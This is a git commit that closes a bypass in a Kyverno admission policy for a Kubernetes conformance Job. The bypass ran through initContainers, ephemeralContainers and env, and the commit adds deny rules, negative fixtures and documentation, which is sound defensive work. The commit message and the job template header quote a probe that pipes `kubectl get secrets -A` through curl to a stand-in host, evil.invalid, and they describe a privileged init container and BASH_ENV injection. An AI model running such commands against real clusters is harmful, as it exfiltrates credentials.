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fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open

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Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.

MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:

  * a `privileged: true` `docker.io/library/alpine:latest` initContainer running
    `kubectl get secrets -A`                            -> pass: 3, fail: 0   ADMITTED
  * the committed template with ONLY the init container's args swapped for
    `kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
                                                        -> pass: 3, fail: 0   ADMITTED

Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.

Four new rules:
  * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
    non-root, no privilege escalation, not privileged.
  * trigger-may-not-declare-ephemeral-containers.
  * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
    variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command IS one.
  * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.

THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.

Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.

Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.

ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.

PROVEN, NOT ASSERTED (7 rules):
  real rendered template                   -> pass: 7, fail: 0
  coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6/1)
  ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.

UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.

Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
This commit is contained in:
jakman85andClaude Opus 5 committed 2026-09-29 22:49:44 -05:00
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conformance/incluster/README.md
+34 -16
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@@ -26,11 +26,21 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
test lands. This is a **privileged test identity**: never reused by workloads, its own
audit item.
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
commit under test; artifacts leave over stdout. Its header is the authority on the
substitution tokens, the admission constraints it satisfies, and **an open security gap
in the admission policy that it documents and does not exploit** — read it before
editing either file.
substitution tokens and the admission constraints it satisfies, and records the
`initContainers` hole that was found and closed alongside it — read it before editing
either file.
- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
file in the image rather than an inline script in the Job precisely so admission can pin
it: a policy cannot tell the committed script from an attacker's when both are just `args`
on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
honoured — a URL taken from env would let the trigger choose which repository's code runs
as `conformance-runner`. This branch's Job depends on that interface:
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
## Flow
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
@@ -39,12 +49,13 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit
if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD`
equals the requested SHA** — the suite runs at the commit under test or not at all. The
read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret
`conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows
no volume but `workspace` and `results`.
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
the suite runs at the commit under test or not at all. The read-only Gitea credential
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
`results`.
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
@@ -53,13 +64,20 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
of decoding to plausible garbage.
## Operator prerequisites (out of GitOps — neither exists yet)
- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and
## Prerequisites before this Job can run at all
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
`token`: a **read-only** Gitea token for this repository. Never a write token or a
push-capable deploy key.
- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the
trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and
a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin.
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
before this template is usable; its digest is what the trigger substitutes. Contract the
image MUST meet, because the Job and the admission policy both depend on it:
- bash, git, python3, chainsaw and kubectl on `PATH`;
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
uid in the Containerfile means the Job will not start;
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
that exact path, so an image without it cannot run the clone step and no other path will
be admitted.
## Phase 0
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
conformance/incluster/chainsaw-job.yaml
+105 -92
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@@ -39,42 +39,70 @@
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !!
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
# -----------------------------------------------------------------------------
# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template,
# replace ONLY the init container's `args` with
# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/
# and leave `containers[0]` untouched and compliant. Result:
# Applying 3 policy rule(s) to 1 resource(s)...
# pass: 3, fail: 0, warn: 0, error: 0, skip: 0
# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never
# examined, so the exact escalation the policy exists to stop — the privileged
# conformance-runner SA executing an arbitrary command — is still reachable, one field
# over. This template's OWN init container does not exploit that; the gap is the policy's,
# and it existed before this file had an init container at all.
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
# never examined, so the exact escalation the policy exists to stop was reachable one
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
# compliant:
#
# * this template with ONLY the init container's args replaced by
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
# * and (the coordinator's independent reproduction) a `privileged: true`
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
#
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# Closed by new rules in that policy, authorised by the coordinator in this PR
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
# fit a Job, not to stop a hole being closed):
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
# container, on the digest-pinned runner image, `command:
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
# not privileged. The clone logic moved OUT of this manifest and into the image for
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
# script had to stop being caller-supplied data. It stays reviewable as
# conformance/incluster/conformance-clone.
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
# verified here, and the rule costs nothing if it is true.
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
# sources it before running a non-interactive script. Names are allowlisted per container;
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
# environment-specific, and conformance-runner can already read this namespace's Secrets
# through its own RBAC, so pinning the source would buy nothing).
#
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
# `envfrom-whole-secret` — so they stay failing.
#
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
# committed shape" policy is only as good as its enumeration of every field that can carry
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
# does, that is the finding, not an oversight to work around.
#
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
#
# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs
# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it.
# FOLLOW-UP, in order of preference:
# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and
# add a 4th rule pinning `initContainers` to one container on the same digest-pinned
# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an
# init container carries no caller-supplied code at all and the rule is one pattern.
# 2. Failing that, a rule denying any `initContainers` entry whose image is not the
# pinned runner image — weaker (the script stays caller-supplied) but it at least
# stops an arbitrary image running as conformance-runner.
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. The init container below is a
# bash script full of legitimate `${...}` references; running the template through
# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving
# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render
# this". Render with a two-token sed, nothing cleverer:
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
# that belongs to a script — a trap this file walked into while the clone logic was still an
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
# with a two-token sed, nothing cleverer:
#
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
@@ -88,13 +116,39 @@
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
# or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the
# trigger REPLACES it wholesale per invocation shape —
# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo",
# "--requirements", "<touched R-IDs>"]
# PHASE EXIT: ["--layer", "all", "--strict-coverage"]
# Keeping it a committed list (not a substituted scalar) is what lets this file be handed
# to `kyverno apply` as-is.
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
# file be handed to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
# -----------------------------------------------------------------------------
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
#
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
#
# so:
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
#
# The first three are measured working by the image build (PR #18); the last two are measured
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
# The committed default below is the narrowest shape that works.
#
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
# security boundary should not encode which toolchain an image happens to ship, and the failure
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
@@ -152,67 +206,25 @@ spec:
# ---------------------------------------------------------------------
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
#
# The credential is a READ-ONLY Gitea token, referenced by secret name only. It
# reaches git through an inline credential helper that reads the ENVIRONMENT, so
# the token never appears in argv (where `ps` and the Pod spec would show it) and
# is never written to disk.
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
# conformance/incluster/conformance-clone and is baked into the runner image at
# /usr/local/bin/conformance-clone. That is what makes the init container
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
# `args: [<script>]`, no admission policy could distinguish the committed script
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
# pins this container to that one path with NO args, so it carries no
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
# and for why the repository URL is hardcoded THERE rather than passed in env.
#
# `--depth 1` clones the default branch; the commit under test is usually its tip
# but must not be ASSUMED to be (the branch can advance between trigger and run,
# and a PR head is not the default branch at all). So: clone shallow, and if the
# SHA is not already present, fetch that one commit, then detach onto it and
# ASSERT HEAD equals it. The suite runs at the commit under test or not at all.
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
# is not 40 hex characters before it touches the network.
# ---------------------------------------------------------------------
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
command: ["/bin/bash", "-c"]
args:
- |
set -euo pipefail
# A bad SHA must never degrade into "ran whatever the branch tip was".
if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then
echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2
echo " The CI trigger did not substitute it, or substituted junk." >&2
exit 1
fi
mkdir -p "${TMPDIR}" "${HOME}"
# git's shell credential helper: invoked as `sh -c '<value> get'`, so it
# reads $1 and answers from the environment only.
CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
echo "==> shallow clone ${CONFORMANCE_REPO_URL}"
git -c credential.helper="${CRED}" \
clone --depth 1 --no-tags --single-branch \
"${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}"
if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \
fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
fi
git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)"
if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then
echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2
exit 1
fi
test -x "${CONFORMANCE_SRC}/conformance/run.sh" \
|| { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; }
echo "==> suite ready at ${head}"
command: ["/usr/local/bin/conformance-clone"]
env:
# The repository under test is a committed literal, not a substitution: a
# template that lets the trigger choose the clone URL lets it choose the code.
- name: CONFORMANCE_REPO_URL
value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git
- name: CONFORMANCE_SRC
value: /workspace/src
- name: CONFORMANCE_GIT_SHA
value: "@@CONFORMANCE_GIT_SHA@@"
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
@@ -253,7 +265,8 @@ spec:
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
command: ["./run.sh"]
# Replaced wholesale by the trigger per invocation shape (see the header).
args: ["--layer", "all", "--strict-coverage"]
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
args: ["--layer", "l2,l3"]
env:
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
# artifact tree onto the `results` volume. It cannot live at its default
docs/plans/l2-l3-conformance-ci-wiring.md
+30 -8
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@@ -58,20 +58,29 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
## 3. Gaps to close (functional)
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
entrypoint path and the Job pins that uid — see §4.)*
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
`CHAINSAW_VERSION` as the single source of truth the image is built from.
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
Init container `clone-suite-at-commit`: shallow clone, fetch the exact commit if the shallow
tip lacks it, detach, then **assert `HEAD` == the requested SHA**. SHA arrives as a
`@@CONFORMANCE_GIT_SHA@@` substitution into a Job env var and is refused unless it matches
`^[0-9a-f]{40}$`. Credential = secret `conformance-git-readonly` (read-only Gitea token) by
**name only**, delivered as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1) and provision
that Secret (item 6). Original text: → Add an
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
install the entrypoint at that exact path) and provision that Secret (item 6).
Original text: → Add an
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
`--requirements` are injected by the CI trigger step as Job env/args.
@@ -120,6 +129,19 @@ stack):**
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
same. Both are now covered by
`trigger-initcontainers-must-be-the-committed-clone-step` and
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
field that can carry executable intent, and a `pattern` over an array only asserts *at least
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
platform/kyverno/admission/conformance-trigger-job-shape.yaml
+233
View File
@@ -142,3 +142,236 @@ spec:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
# =========================================================================================
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
#
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
# executing an arbitrary command, because Kubernetes places no `use` check on
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
#
# a Job with serviceAccountName conformance-runner and an initContainer
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
# needed — the suite has to be cloned at the commit under test. But while the clone logic
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
# the committed script from an attacker's: both are just `args` on a shell. So the clone
# logic moved into the runner image at a fixed path
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
# rule pins `command` to that path with NO args. An admitted init container therefore
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
# itself validates against ^[0-9a-f]{40}$.
#
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
# element matches", which would admit the committed clone step PLUS an arbitrary second
# init container — the same class of hole rule 2's comment describes for volumes.
# =========================================================================================
- name: trigger-initcontainers-must-be-the-committed-clone-step
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
committed clone step: the digest-pinned conformance-runner image,
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
escalation, not privileged. An initContainer running a shell with a caller-supplied
script is arbitrary code execution as the privileged conformance-runner SA — the
escalation the rest of this policy exists to prevent. See
conformance/incluster/conformance-clone.
foreach:
- list: "request.object.spec.template.spec.initContainers"
deny:
conditions:
any:
# At most one. The committed run needs exactly one clone step; a second
# init container has no legitimate purpose and is how you smuggle one in.
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
operator: GreaterThan
value: 1
# Digest-pinned under the conformance repository path — same rule as
# containers[0], same honest limit (see IMAGE PINNING in the header).
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
operator: Equals
value: false
# The baked-in entrypoint, exactly — not a shell, not a second path.
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
operator: NotEquals
value: "/usr/local/bin/conformance-clone"
# NO ARGS. This is the whole point: args on an init container are
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
- key: "{{ length(not_null(element.args, `[]`)) }}"
operator: GreaterThan
value: 0
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
# the COMPLIANT value false into true and deny every good Job.
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
operator: NotEquals
value: true
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
operator: NotEquals
value: false
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
operator: NotEquals
value: false
# =========================================================================================
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
# container list on a PodSpec, and it was as unread as `initContainers` was.
#
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
# when the field is absent, and removes the need to be right about it. If the API server
# does reject it, nothing changes; if it does not, this is the same hole again.
# =========================================================================================
- name: trigger-may-not-declare-ephemeral-containers
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not declare ephemeralContainers. The committed
conformance run has no use for one, and an ephemeral container is a third container
list running as the privileged conformance-runner SA with an arbitrary command.
deny:
conditions:
all:
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
operator: GreaterThan
value: 0
# =========================================================================================
